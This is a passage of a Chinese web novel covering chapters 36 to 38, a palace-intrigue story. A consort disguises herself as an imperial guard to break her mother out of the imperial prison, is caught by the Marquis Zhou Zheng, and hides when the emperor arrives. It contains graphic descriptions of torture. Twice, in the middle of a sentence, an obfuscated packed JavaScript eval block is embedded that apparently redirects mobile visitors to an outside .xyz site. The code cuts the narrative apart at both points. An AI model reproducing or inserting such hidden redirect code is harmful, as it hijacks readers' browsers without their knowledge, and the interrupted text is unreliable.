一直以来,他拼命地想要打破,想要逃离,想要解脱……但偏偏,告诉他摆脱不了的那个人,只是云府的丫鬟,一个小小的宫女。 如果汀雪是在云琛那个老狐狸的授意下刻意这么说,企图离间自己与赵昶呢? 想到这里,周徵再也坐不住了。 白日里赵昶一直提醒他,要对柳氏上点真手段,逼她多交代点东西出来。但他碍于现在的局势,觉得在另一波势力暂不明晰的情况下,不宜与云琛彻底撕破脸,便瞒着赵昶,一直未对柳氏动用刑审。 可现下,他已经无法忍受心里的迷雾越积越多,便索性没惊动任何府里的下人,独自更衣出府,踏着深秋的寒露,朝着诏狱的方向去了。 36. 诏狱 诏狱外,一排身穿靛蓝色粗布制服的锦衣卫把守着大门,那扇朱红的木门历经了十数位帝王的任期,在百余年的岁月里遭受着日晒雨淋,原本鲜艳的朱漆已然斑驳,露出下面的斑驳木质,看起来与寻常的大门并无什么区别。 但那大门上方,雕着一座怒目圆瞪的狴犴石像,它怀抱着刻有“诏狱”二字隶书的鎏金大匾,虎视眈眈地睥睨着每一位来客,那张满是獠牙的血盆大口宛若另一个黑色世界的入口,仿佛要将一切不忠与背叛都吞噬。 云昭昭远远地看着这个架势,腿有些软,她停下脚步,有些担忧骂道:“该死,这么多人守着!你说,要是前面这些人里,有人认识‘咱们’,那要怎么办?” 她的“咱们”自然指的是如今只剩亵衣,躺在逐月房外的燕二与他的同僚。 薛炼闻言停下脚步,叹道:“还能怎么办,开弓没有回头箭,都走到这里了,就只能硬闯了。” “锦衣卫都指挥佥事兼北镇抚司镇抚燕二。”他低头凝视着手里那块燕二的腰牌道,“前面那些人可不像昭阳殿外守卫的禁军,不可能不认识这牌子的主人……毕竟,他统管整个北镇抚司,自然也统管诏狱。” 他言语间多了几分沉重,捻着腰牌的指节发出咔滋细响,云昭昭知道,他此番应该也没有把握能够应付这么多锦衣卫。 想到这里,她下意识地摸向自己怀中,眼睛霎时一亮。 “对上他们,你有几成胜算?”她问。 “若只是前头这些人,最少七成。”薛炼不假思索地答道。 “够了。” 简直是太够了。 云昭昭本来看他那踌躇不前的样子还以为只有两三成胜算呢,没想到人家只是遇事比较谨慎罢了。 于是她甚感宽慰地拍了拍薛炼的肩膀。 她果然没看错人,将来若是有机会,一定要让父亲好好答谢薛炼,让他在御马监屈于人下,实在是太屈才了。 “我已经想到办法了。”云昭昭掏出怀中那块薛炼赠予自己的牙牌,与腰间那块锦衣卫的牙牌放在一块,两者竟有些许的相似,在这没有月光的夜里,足以以假乱真。 “这块给你。”云昭昭将原本腰间的那块牌子扔给薛炼,自己则挂上薛炼那块,“到时候你拿着那姓燕的牌子,就去跟那守门的说,镇抚在昭阳殿发现了重要线索,特命我们俩进去提审罪犯。届时,若他们没发现咱们是假冒的,我们就进去将我娘带出来;若是不幸被他们发现了,那就只能靠你出手了。如何?” “可以,娘娘很聪明。” 薛炼话虽这么说,但脸色却并没有轻松,甚至显得更为凝重,他嘴唇微动,似是想要说什么,却最终没有开口。 “怎么了?”云昭昭察觉了他的不对劲。 “……没什么。”薛炼道。 其实,他刚才没有对云昭昭说出口的是,眼前几名锦衣卫确实加在一起也不是自己的对手,但若是那人来了,只怕是会有很大的变数…… 不过他没再多言,只是依照着云昭昭的主意,将腰牌换下,主动在前开路,面朝着诏狱的大门走去。 云昭昭还是像之前一样,刻意稍低着一点头,一副恭恭敬敬的模样跟在后面。 门口一队锦衣卫见了二人,立马语气不善地质问道:“你们是哪个所的?这么晚了,这里不是你们来的地方!” 与之前面对禁军大不相同,薛炼像是变脸一样,脸上挂着谄媚的笑,半弯着腰,恭恭敬敬地将燕二的腰牌递给为首的一人。 “几位哥哥,小的们是下五所的,是燕镇抚命小的们来押犯人。” 那人狐疑地拣起腰牌,左看右看,显然是不信薛炼的说辞。 “这腰牌从哪儿来的?!”那人厉声喝道,仿佛手里端着一枚烫手的山芋。 薛炼语气战战兢兢道:“这位哥哥,这、这可是咱们镇抚亲手交给我的啊……”说到这里他咽了下口水,好像真的一脸畏惧,“镇抚今夜在昭阳殿发现了重要线索,走不开身,这才命我们二人替他前来押领犯人过去,他说要在现场对着证据亲自审讯。” “昭阳殿……”那人不禁喃喃,“这不是那谁住的地方么……” 旁边有一人插嘴道:“江百户,这牌子确确实实是镇抚的。” “屁话,我能看不出这牌子是真的?”那江百户啐了一口,骂道,“只是这两人,忒为可疑了。” 有人又说:“百户,依我看,这牌子既然是镇抚的,那肯定是镇抚给的,咱们一般人谁能打得过他呀。而且多一事不如少一事。侯爷今天让镇抚守着昭阳殿,这种事情平时一般哪能轮到他啊,镇抚心里本就有气,他那脾气你又不是不知道……” “得了得了,”江百户大手一挥,不耐烦道,“老子带你们俩进去就是,但是记住了,在里面不该看的别乱看,不该出声的就把嘴巴给老子闭紧了,否则休想活着出去。” “是是是,我们都听您的,都听您的。”薛炼讪笑着跟了上去。 云昭昭紧随其后,诏狱那扇朱漆大门后,是一条向地下延伸的走道,逼仄的走道仅有两人宽,两边每隔数十米才点了一盏油灯,昏黄的灯影将来人的影子扭曲得很长,像极了墙壁上生出的瘦长的鬼影,却照不亮下方漆黑的路口。 就这样,云昭昭头一次踏足了这原书中宛若修罗炼狱一般的诏狱。 明明是在地下,没有窗户,却总感觉阴风阵阵,再加上原书中云贵妃最后就是在这里被折磨至死的,配合上书里描写的那些残酷的刑罚,云昭昭瞬间不寒而栗,耳边似乎萦绕着各种凄厉的惨叫。这令她对柳氏处境的担忧达到了极点。 不一会便走到了最下面,一个岔路将走道分成了三个方向。其中一处镶嵌着栅栏式的铁门,里面黑黢黢的,能闻到阵阵令人反胃的腐臭;右边一处亮着灯的,云昭昭远远就瞧见石墙上挂着一些铁棍、尖刺、铁夹等物,想来那里便是诏狱里最臭名昭著的审讯室了;而左边则有一道上锁的侧门,锁头已经爬满了绿色的铜锈,不知道里面是什么地方,看上去很有些年头。 江百户拎过墙上的一盏油灯,掏了一大串钥匙,熟练地打开了正前方那道铁门。 云昭昭强忍着恶心进去,两侧最靠外的牢房中各关着一名犯人,看体型应都是男子。 其中一人衣衫褴褛,瘦骨嶙峋,一头杂乱的长发已经拧成了一缕一缕的结,手上全是黑色的茧子,捧着地上一碗已经分辨不出来形状的馊臭的饭,正在像一条狗一样趴在地上吃。 另外一边则更为骇人。 借着昏暗的灯光,她隐约看见牢内的地面上,有数不清的老鼠、蟑螂、甚至白蛆爬过,发出窸窸窣窣的声响,而地上不知沾了什么东西,形成了一小片一小片斑驳的印迹。她本以为是血,可仔细一看才发现,除了已经凝成黑色的血块外,还有混合在一起的屎尿,她进门时闻到的那股恶臭,多半就来自这个房间。 但这一切比起牢内关着的那个人来说,反而显得没那么可怕了。 起先云昭昭只看见了地上铺着一席已经看不出颜色的破烂草席,草席子上堆着一大团灰色的东西,像是一大堆扭曲的、沾了水拧在一起的破布。她以为这间牢房内关着的犯人已经不在了,直到江百户用略带戏谑的语气指着里面,对他们说道: “瞧瞧,这就是天堂有路人不走,地狱无门他自来。这位啊,据说还是先帝时期咱锦衣卫里面鼎鼎有名的大人物!” 云昭昭这才惊愕地发现,他手指的方向,竟然就是草席上的那摊破布一样的东西! 江百户继续道:“你们说,人都到了这位置上了,还不为陛下实心办事,偏要玩什么无间道,给云琛那老贼递情报。这不,最后落到了咱侯爷手里,不仅割了他的舌头,剃断了他的手筋脚筋,还抽掉了他的骨头……偏留着他一条命。” 说到这里他低笑了两声,语气甚至有些得意,“据说,那天整个诏狱十里之外都能听到这家伙的嚎叫声,审讯的刑具都被血染的不能用了,后来直接换了一批新的。” 江百户脸上的皱纹都在扭曲,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108312|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是听到了他的声音,牢房内那团“烂肉”竟然蠕动了起来,露出一个掉光了头发的光秃秃的脑门,一双布满白翳的浑浊眼睛,一张没了牙齿的嘴发出“伊伊喔喔”的嘶哑叫声。 云昭昭只觉得喉咙发干,今夜喝下去的那碗凉透的小米粥像是在胃里一阵翻江倒海地沸腾。哪怕她试图闭上眼睛,可那团没了人形,像一摊烂肉一样的男人还是阴魂不散地出现在她的脑海里。 她若是以后落到周徵手里,不会也是这种下场吧? 云昭昭吓得打了一个寒战,双腿像是灌了铅一般不得动弹。 倒是薛炼,仿佛什么都没看到,像个没事人那样热络地跟随在江百户左右,“百户,小的看这前面关的都是男人,你说那云琛的夫人也关在这里?” “老子准你说话了吗?”江百户骂道,但又很受用地解释,“能被关进这诏狱的,都不是普通的人,谁管他男的女的!跟男的关在一起还好,若是女的被单独关在别处……不过云琛这老贼的夫人,确实徐娘半老,风韵犹存,嘿嘿……” 说着他露出几声□□,薛炼也只好悻悻地干笑了几声。而云昭昭心里杀了他,杀了周徵的心都有。 又在里面绕了一会儿,走到最里头的牢房,江百户停下了脚步。 “到了,就是这里。” 因为背靠石墙,墙角处点了一盏很小的灯,所以这里显得比别处要敞亮不少。与外面那些不同,这间牢房虽然简陋,但看得出里面是被仔细打扫过的,崭新的草席上甚至还垫了一层褥子,连棉被也是干干净净的新换的。 云昭昭一路上已经做好了最坏的心理打算,当看到柳氏时,她发现她她身上还穿着宴会上的那套礼服,原本簇新的茜影纱揉起了褶儿,失了光泽,显得有些陈旧。她看上去神情颇为疲惫,鬓边的白发仿佛一夜之间又新添了几簇,但好歹依然全须全尾的。 看着自己这具身体的母亲,她酸得眼泪都要出来。 江百户从他那一大串钥匙里准确地找到了这间牢房的钥匙,替云昭昭他们打开了牢房的大门。 “你们要干什么?!都说了,我没有什么好交代的!”柳氏蓦地惊起,发狠地仇视着来人。 江百户流里流气地吹了两声口哨,哂笑道:“夫人,既然进了诏狱,您不会还以为自己是那高高在上的诰命夫人,锦衣卫不敢把您怎么样吧!若非看您虽然年纪大了点,但风韵尚存,留着还有些用,您以为您还能安然无恙地呆在这里?瞧瞧其他人,您在这里也呆了两晚上了,您应该清楚进了咱们这里,是个什么下场了罢!” 柳氏呸地一下往江百户身上吐了口唾沫,尖叫道:“滚!” “操,臭老娘们儿,别他娘的给脸不要脸!”江百户气得发抖,说罢便蹬脚上前踹去,但不知为何,他最终还是忍住了。 薛炼在身后劝道:“百户息怒,燕镇抚还在等着呢,烦请您让小的们先将人押去,免得他等得急了。” 江百户不置可否,他呸地啐了一口,走到门边,让薛炼和云昭昭进了牢房。 “夫人,得罪了,小的们奉燕镇抚之命前来押您去昭阳殿受审。” “昭阳殿?”柳氏本想挣扎,但听到这个地点后,她惊愕地瞪大了双眼,待看清来人的脸后,眼泪瞬间夺眶而出。 云昭昭见她张了张嘴,担心她要出声,连忙眼疾手快地捂住她的嘴,以眼神示意她不要出声。 她和薛炼俩人一左一右地押着柳氏出去,走到门边,云昭昭还小心地让柳氏不要被门槛绊着。 江百户看他们慢吞吞的,在一旁不耐烦地催促道:“磨蹭什么,喂,我说,咱锦衣卫有你们这样押送犯人的?像是还怕人磕着碰着似的!不是说燕镇抚催的急吗?” 他话音未落,便听身后有一个冰冷的声音问道:“押送什么犯人,往哪儿去?” 江百户闻声吓得一个哆嗦。 只见周徵一身便装,没有任何动静,如同鬼魅一样兀地出现在了牢房门口,脸上的半只秘银遮面在烛火中透着冰冷的锋芒。 37. 昭彰 云昭昭心道不妙,周徵早不来晚不来,偏偏赶在这个节骨眼上来了,明明她的计划成功仅有一步之遥了,真是该死。 她看向旁边的薛炼,对方似乎也不似刚才那般镇定。 只有江百户还蒙在鼓里,他笑着冲周徵解释道:“侯爷,听说燕镇抚在昭阳殿找到了什么线索,要当场审讯犯人,这不,他特派了两个兄弟前来押送犯人过去。” 周徵看了他一眼,沉声质问:“诏狱里自有审讯室,什么时候还要押送到别处去审了?有这个规矩吗?!” 他的语气甚是平静,却带着无形的威压,江百户吓得后背冷汗岑岑的。 “侯爷,可、可这是燕镇抚要求的啊……” 周徵说:“我问的是锦衣卫里有这条规矩吗?你可听见燕二亲口要你放人了?” 江百户始终觉得自己也只是按上级要求办事,只得小声嘟囔道:“小的……小的也是听这俩人转述的……他们带来了镇抚的腰牌……” 周徵闻言,目光投向搀扶着柳氏的二人,最终落在靠墙一侧搀着柳氏的云昭昭身上,瞳孔骤然一缩。 “是你!” 就在这时,薛炼蓦地拔出腰间佩刀,整个人与出鞘的利刃合二为一,化作一道蓝灰色的闪电,带着劲风,拼尽了全力向周徵刺去。 “侯爷!”江百户这才反应过来,大吼一声,拔出绣春刀,扑向周徵所站的位置,想要拦住薛炼的攻击。 然而薛炼侧身一闪,便躲过了江百户的攻势,他飞身踩在牢房的铁栅栏上借此发力,迎着江百户就是一劈,刀光闪动间,只听“啪”的一声响,江百户手中的刀应声而落,紧接着薛炼手肘一抬,结结实实地撞在江百户的胸口处,震得他后退了几步,躬身捂住胸口,发出痛苦的闷哼,嘴里吐出一大口鲜血。 薛炼见状,瞅准时机,朝着江百户毫不留情地一刀刺去。眼看刀尖就要刺穿江百户的动脉,周徵抬手扔出三枚飞镖,将薛炼的刀弹开半寸,锃亮的刀锋略略擦过江百户的领口而过,吓得他屁滚尿流,赶紧踉跄着又爬了几米远。 云昭昭在一旁护着吓得面如土色的柳氏,看得呆了。她心有余悸,幸好当初第一次撞见周徵时,他没对自己使这玩意儿,不然她的小命早就难保了。 薛炼被周徵打岔,失了先机,也不着急,反而重新调整了攻势,放弃了对已无还手之力的江百户赶尽杀绝,转而将注意力放在周徵身上,全力向他刺去。 周徵丝毫不惧,只拔出腰间绣春刀,抬手一挡,精光迸射间,便抵御住了薛炼凶猛的攻势。 “好刀法。”周徵忍不住点评道,“想不到这宫里,除开锦衣卫,竟还藏着此等高手!只是,这功法略显阴毒了些,上不得台面。” “少废话,就凭你一个杀人如麻的刽子手,也好意思说我上不得台面?”薛炼黑着脸道,说着手中的薄刃像毒蛇信子一样缠着周徵,再次刺了过去。 他动作利落,出招角度刁钻,周徵不得不重视,便不再说话,只全力化解着来势汹汹的利刃。 突然间,只见周徵纵身一闪,挥刀向薛炼膝盖处劈去,局势顷刻间发生了巨大的变化,薛炼不得不抬腿躲过,周徵趁机转守为攻,连着向薛炼挥刀过去,不片刻就将薛炼逼得不得不退后,离角落仅有几尺之遥。 见自己落于下风,薛炼一面应付着周徵的攻击,一面将一个金色的物事抛向云昭昭,大吼道:“娘娘!快,拿着这个,趁着现在,带着夫人赶紧离开这里!” 云昭昭接下那东西,发现那是属于燕二的腰牌,显然薛炼是让她再一次用这个腰牌忽悠过门口把守的锦衣卫。 “快点!”薛炼勉强躲过周徵一刀,额间几缕碎发被雪刃切断,“我会尽力拦住他,你只要带着夫人先出去,出去后拿着我的腰牌就能直接出宫,别回昭阳殿!” “哼!”周徵闻言,立马将薛炼逼退,转而向云昭昭的方向纵身一跃,“我倒想要看看,阁下究竟是什么人,竟敢如此胆大包天地成为云家的走狗!” “想得美!昭昭,快走!”薛炼拼尽全力欺身上前,拦住周徵冲云昭昭吼道。 二人再次缠斗在一起,眼瞅着薛炼渐渐不敌周徵,挥刀的动作越来越吃力,却还是用身体拼死抵挡住周徵的迅猛攻势,云昭昭知道,薛炼是已经做好了与周徵同归于尽的觉悟了。 “昭儿,”柳氏面如死灰,在这种情况下已经吓得彻底没了主意,“现在可该怎么办,我们,真的要留下他在这里吗?” “夫人!快走!”薛炼又急又气道,“要来不及了!你们别管我!” 云昭昭见状,狠狠捏紧了一下拳头,大声说:“不,我不能走!” 是的,她不能走。 薛炼为了替云家卖命忍辱负重,本来在宫里就处于随时可能暴露的险境。就是这样谨慎小心的一个人,如今却要为了自己异想天开的救人主意,不仅面临着身份暴露的风险,还很有可能将命都搭在这里。 她不能这样害了他。 想到这里,云昭昭下定了决心,她扶着柳氏坐回草席上,安抚道:“娘,我不能眼睁睁地看着他去送死,您在这里坐一下,别怕,女儿一定会救您出去的。” “你疯了!你这是干什么?昭昭,走啊!”薛炼简直恨不得替她将柳氏带走。 可就在他分神的间隙,他的右肩立刻挨了周徵一刀,鲜血瞬间涌了出来,薛炼疼得大叫一声,双目赤红,只能用左手抵挡住周徵再一次的突刺。 “昭昭,我叫你走!走!走啊!!!”薛炼发疯一样地怒吼,用仅剩的一点力气躲着周徵的攻击。 然而,令他没有想到的是,下一秒,云昭昭不仅没有走,反而不管不顾地冲向自己,在周徵的绣春刀快要朝自己挥下的瞬间,用身体挡在了自己身前。 眼看着周徵手中的利刃,仿佛带着千钧之势要将自己劈成两半,云昭昭带着孤注一掷的决心,对周徵大声说:“武安侯,中秋夜宴上的事与我娘无关,是我,我是来自首的!” 说完,她咬牙闭上了双眼。 果然,她所害怕的剧痛并没有传来,一切如她所料,周徵手中的绣春刀在自己的额头上方悬停了下来。 她睁开眼睛,对上的是周徵疑惑的眼神。 “没错,我是来自首的!”云昭昭迎着周徵微动的眸光,重复了一遍。 说时迟那时快,就在周徵出神的这一刹那,只听薛炼忽地大吼一声,将所有内力灌注与手中的刀,拼尽全力要与周徵殊死一搏。 周徵显然没料到他到这个时候还留有这样一手,他愣了一下,躲闪不及,便下意识地揽过面前云昭昭的腰,侧过身将她护在一旁,自己则用右半张脸迎着薛炼这用尽全力的最后一击。 锦衣卫所用的绣春刀均由产自西域大月氏国的精钢制成,削铁如泥。薛炼手中的刀刃落下,正正劈在了周徵戴着的半张秘银面具上。 只听一声噼啪的金属断裂的声响,火星子四处飞溅,半张面具碎成了两半,露出被面具遮挡着的,触目惊心的伤口。 那像是不知被什么硬物掷出形成的伤口,在眉毛上方的额头处肿起了一个大包,青紫的皮肤下满是淤血,正中心的伤口处本已结了痂,但由于刚才抵挡薛炼攻击而受了冲击,伤口破裂,鲜血涌出,混合着长出的新肉,使他原本顶顶英俊的一张脸,看起来既滑稽,又触目惊心。 薛炼看到周徵这个模样,动作一滞,也愣住了。 云昭昭被周徵拦在身侧,这时赶紧小声催促道:“快,你快跑!” 薛炼闻言,知道自己这样子对上周徵再无胜算,他也不恋战,只是看了一眼云昭昭与柳氏,转身使出轻功离开,一眨眼的功夫便消失在了黑暗中。 见薛炼就这样逃走,周徵立刻像扔掉一只烫手的山芋般地放开云昭昭。他眼中隐隐有着怒意在燃烧,似乎在责备她就这样害自己放走了薛炼。 云昭昭大概猜到了他的想法,只是说:“宴会的事情,本来与他无关,我一人做事一人当,这不,我今天就是来自首的。” 周徵直直地盯着她,撇了撇嘴角,嘲讽道:“自首?若是今夜我不会恰好出现在这里,恐怕云贵妃就不是来自首的吧?还没来得及称赞,贵妃真是足智多谋,这身怕是燕二他们身上的吧。” 被他毫不留情地揭穿,云昭昭只好厚着脸皮道:“脚长在我自己身上,侯爷怎么就知道,救走了母亲,我自己不会留在这里呢?” 周徵面露讥讽,“没想到贵妃竟对这诏狱如此情有独钟。” 果真是不能跟这人多说一句话! 云昭昭懒得与他多费口舌,只随口一问:“喂,你怎么不问我刚才那人是谁?” “需要问吗?”周徵眉峰微扬,目光有意无意地瞟过她的腰际,“或者说,我问了你就会告诉我吗?” 云昭昭立刻想到了薛炼的牙牌还挂在自己的身上。 她心道不好,立马手忙脚乱地用手将牌子遮住,揣进怀里。虽说这样有些掩耳盗铃,但她谅周徵也不敢上来再抢。 周徵没再说话,云昭昭也不知道他刚才看清没有,若是就此暴露了薛炼的身份,那她可真要成云家的头等罪人了。 这时,一直未曾说话的柳氏终于坐不住了,她见气氛明显紧张,怕云昭昭就这么跟周徵对峙下去,便开口道:“昭儿,回去!娘知道你担心我,但别再管娘了啊。” 她转而对周徵说:“武安侯,我知你一向对陛下忠心耿耿,但这终究是陛下与我夫君之间的事,昭儿她还是个孩子,况且,她已入宫为妃,与你一样,也是陛下的人……” 不等周徵接话,云昭昭就打断了她:“娘!你别说了,你以为今天你替我去受审,明天他就能放过我吗?” 她接着以不容置喙的口吻对周徵说:“周徵,就算你对我娘用尽刑罚,关于纯容华的死,你也绝对套不出一句你想知道的话……因为,这本就与我娘无关。” “那贵妃娘娘有何见解?”周徵不疾不徐道。 “这个嘛……可否借一步说话?” “审讯室现在是空着的。” 周徵说着侧身让开一条路,示意云昭昭跟上。 “昭儿!”柳氏担心急了,生怕女儿置身险境。 云昭昭向她投以一个安慰的眼神,转身跟着周徵穿过一道道铁门,出了诏狱牢房,到达了进来时她看见的那个亮着灯的房间。 审讯室很大,进门正对的那面墙上挂着各式各样的刑具,有的在历史书中已是臭名昭著,有的观其形貌,云昭昭依稀记得自己臣在一些野史中听到过,还有的,她甚至闻所未闻。 这些刑具大都以铜铁制成,锋利逼人,每一件都在烛光下闪耀着幽幽寒光,仿佛在向云昭昭诉说着自己背后那令人心惊胆寒的用途。 不过最骇人瞩目的还当属右边那面墙上那块巨大的,像是唐卡一样的挂幅,上面用墨笔混合着朱砂书写着锦衣卫的规则。因年份久远,挂幅的材质已呈现出淡淡的黄褐色。 若不是云昭昭看过原书,谁会想到这样一张挂幅,竟是用受刑犯人身上剥下的一整块人皮制成的呢? 房间的刑椅与地面上还残留着未清理的血迹,云昭昭从进入诏狱后,就没见到汀雪的身影,看到这血迹,她很难不怀疑,汀雪已经凶多吉少了。 周徵进屋,随手取出几片纱布擦了一下额头伤口上的血迹,随后很自然地坐在刑椅旁边审讯的座位上,面无表情道:“说吧。” 空气中弥漫着一股浓重的铁锈味儿,混合着地底下的泥土腥气,不断地挑拨着云昭昭的神经。 在这里呆的时间长了,原书中后来原身在这里的遭遇让她的身体本能地反抗,她低垂着眉眼,在周徵面前强行忍住几欲作呕的冲动,说道: “我想同你做个交易。” “就凭你?”周徵扬了扬眉,不置可否,转而很平静地问,“罢了,什么交易?” 云昭昭仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108313|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从他幽深的眼眸中看见了对自己的不屑一顾,她按捺住心中不忿,也尽可能平静地说:“刚才在牢房里,为救我娘,一时情急,我说了谎。现在只有你我二人,如果我说,纯容华的死不是我做的,你会相信吗?” 周徵:“信又如何,不信又如何?总之云夫人已在太后面前应下了此事。” “也不是我娘做的!”云昭昭说,“我说想和你做交易,就是我助你查清此事真相和幕后主使,但你必须答应我,事后要将我娘放了,并且在这期间不得为难她。” 周徵静静地听她说出这个看似荒谬的交易。不知为何,看着面前一身锦衣卫制服的云昭昭这幅红着脸替自己辩白的神情,他的心里涌现出一股奇异的感觉。 那么倔强,不肯轻易低头,拼了命地也要证明自己…… 他的脑海里出现了一个半大的孩子,连说话都带着稚气,小小的身体因为长期营养不良而显得格外孱弱,却不怕死般地抱着来来往往锦衣卫的大腿,用尽全力地大喊着:“我不是卖国贼的孩子!我不是!我是好孩子!我爹我娘也是好人!求你们别杀我爹和我娘!” 一个人不理他,他就换一个,他总觉只要他一个一个地解释,这么多人,总有一个会相信他。 但来来往往的人,没有一个人会将一个孩子的话放在心上,毕竟天网恢恢,铁证昭昭,陛下已下令要将武安侯周嵘一脉斩首抄家,是昭文皇后心善,挂念与武安侯夫人曾经的金兰之谊,这才让其独子得以苟活世间。 甚至所有人都觉得,有其父必有其子,这个孩子将来长大后,想到父母的惨死,也许不仅不会感念帝后对自己的宽恕,反而还可能变本加厉地报复大周朝。 …… 见周徵坐在那里半晌没有回答,云昭昭气呼呼地说道:“喂,你不相信我说的?” 她的声音将周徵瞬间拉回了现实,他下意识地摇了摇头,额头的伤口虽不再流血,但还是撕裂般的疼。 其实从宴会那晚,他就已经知道了纯容华真正的死因,是死于见雪尘,与当时郭院判之死几乎一模一样,是如今尚在暗处的那拨人的手笔,自然不可能是云昭昭做的。 周徵虽然心里这么想,但表面还是不动声色地反问道:“我凭什么要相信你?是,若按你说的那样,我同意与你做这个交易,但你一个深宫里手无寸铁的女子,既能让自己被无端地陷害,又看管不好自己的下人,你为何觉得我需要倚仗你才能找到真相?” 云昭昭:“你……” “况且,我信不信根本就不重要,我要做的只是给陛下,给太后一个交代。不管是谁,只要是陛下认为杀得对的人,那便够了。” 云昭昭瞬间哑口无言。 她对周徵的话简直气不打一处来,可细想之下,却不知该如何反驳。 正在她踌躇着措辞之时,外面一名守门的锦衣卫神色匆匆地跑了进来。 “侯爷,侯爷,属下有要事禀报,刚才有名穿着咱们卫里制服的男人突然从狱中冲出来,还打伤了好几个兄弟。” 周徵知道他说的是刚才逃走的薛炼,便问:“他人呢?” “跑,跑了。”那人灰溜溜地答道。 “知道了,你就是来禀报这个的?”周徵已经十分不耐烦。 “不不不,小的只是,只是想到了这茬,顺便提一下。”他害怕得结结巴巴道,“小的想禀、禀告侯爷的是……是陛下,陛下他突然来了,现在正在外面等着侯爷!” “什么?!”周徵蓦地看向云昭昭,随后应道,“知道了,我这就出去。” 他说着放下沾血的纱布,临走时还不忘嘱咐云昭昭:“你在这里先躲着一下,我没回来前,千万别出这扇门。”说完他便匆匆地离开了。 云昭昭:“……” 赵昶来了? 他这个时候不搂着自己的美人睡觉,跑到诏狱里来干什么? 云昭昭站在屋子侧边的阴影里,不安地思索着。她想了半天,想到的最大可能便是,赵昶是为了柳氏而来的。 没过多久,她便听见外间的楼梯上传来了脚步声,接着是赵昶与周徵交谈的声音,两人边走边还讨论着今日内阁议会时裴晧和云琛同时告假之事。 裴晧告假自然是因为纯容华之死,白发人送黑发人,心中难免伤悲,而云琛的告假,在赵昶眼中就纯粹是做贼心虚了 说话的声音渐渐地远了,云昭昭知道赵昶与周徵应该是往牢房里走了。如此看来,赵昶应该就是冲着柳氏而来的,只是不知他这一来,会对柳氏如何。 就凭着原书里赵昶对云家的恨意,他既有可能当场让周徵对柳氏进行严刑逼供。云昭昭越想就越感害怕,心也跟着突突突地跳了起来。 可如此情形之下,她实在想不到什么破解之法,她就像周徵说的那样,手无寸铁,如果贸然出去,除了送死改变不了任何,只能在这里巴巴地干等着。 而等待的时间越长,就意味着柳氏越危险。 诏狱的审讯室里放着计时的沙漏,那本是在刑审时为了逼供犯人所用的,但现下,她听着这静室中流沙缓缓滑落的声音,只觉得那沙沙的响声仿佛是行刑的刽子手用手中的刀,一片一片划过皮肤,将自己凌迟的声音。 不知过了多久,外间的走道里终于再次响起了脚步声。 那声音杂乱无章,似是在诉说着来人的愤怒。 脚步声越来越大,越来越近,就在将近门外岔路口的时候,没有拐弯往上,反而像是直直地朝着这间审讯室的方向来了。 云昭昭的心简直提到了嗓子眼,她左顾右盼,寻思这间偌大的屋子里,除了刑具、刑椅与行刑台,连个大一点的柜子什么的都没有,根本无处躲藏。 然而,没有给她更多的准备时间,下一秒,她就瞥见身披暗金龙纹玄色斗篷的赵昶风风火火地朝着这边走过来了。 情急之下,她只好又在心里将周徵的祖宗十八代都骂了个遍。 38. 偷听 从牢房里出来,赵昶铁青着脸,显然已是憋了一肚子的气。 这云琛的夫人柳氏从关进诏狱起已过了整整一日,却依旧毫发无损,他如何能接受? 刚才有外人在场他不便当场发作,现在想要来在这没人的审讯室里找周徵要个说话,这家伙竟然也吞吞吐吐的,拦着他不让进来。 “听着,这天下是朕的天下,这锦衣卫是朕的锦衣卫,诏狱也是朕的诏狱!有什么是朕进不得、看不得的?!”赵昶边走边怒喝道,“朕今天偏要看看,这诏狱的审讯室里究竟藏着什么见不得人的东西!” 说罢他踏入这间不大不小的屋子。 屋内比起地上要昏暗许多,油灯已烧得快见了底,晃荡的烛火在幽深的地下透出一种诡异的蓝绿色,映在满墙的金属刑具上,像极了张着獠牙,舞着利爪的阴差。 在这间死一般寂静的屋子里,它是唯一会动,仿佛具有生命的东西。 周徵:“……” 见屋里空荡荡的,赵昶这才稍稍对周徵放下了心,怒火也消了些。空气里腥甜的血的味道,让他忍不住嗅了嗅,身体里仿佛有某种东西被唤醒,正跃跃欲试着。 “什么都没有嘛,”赵昶一脸坏笑,拍了拍周徵肩膀,道,“明彰,你这躲躲藏藏的态度,朕还以为,你在这里藏了什么身份上不来台面的女犯呢!” 他那戏谑的语气,让屋里藏着的“女犯”云昭昭脸上忍不住一阵抽搐。 刚才眼看着赵昶就要进来了,千钧一发之际,她欺身钻进了行刑台下的间隙里。 这与床榻大小相近的案台乃大理石砌成,下方仅有容纳一人大小的间隙,躲在这里面与躲在床底无异。但这行刑的案台因为经年累月间见证了太多犯人受刑,下方的血污已累积了厚厚一层,混合着大量毛发与不知道是什么的人体组织碎屑,在地底潮湿的空气里,变得腐败粘稠。云昭昭身子一钻进去,便像跳进了烂泥潭里,不仅沾了一身血污,恶臭与酸味也几乎要将她熏晕过去。她这堂堂贵妃,等出去以后,确实也上不了台面,见不得人了。 与云昭昭一样,周徵也明显被赵昶的话呛了一下。他轻咳两声道:“臣只是认为……这屋里尽是些对付犯人,入不得眼的东西,恐污了陛下的眼睛,再加上这里到处都是血污浊气,难免也会冲撞陛下的真龙之气。” 他这番话倒是令赵昶很受用,但他嘴上却说:“明彰,这就是你的格局不够了。” “陛下……” 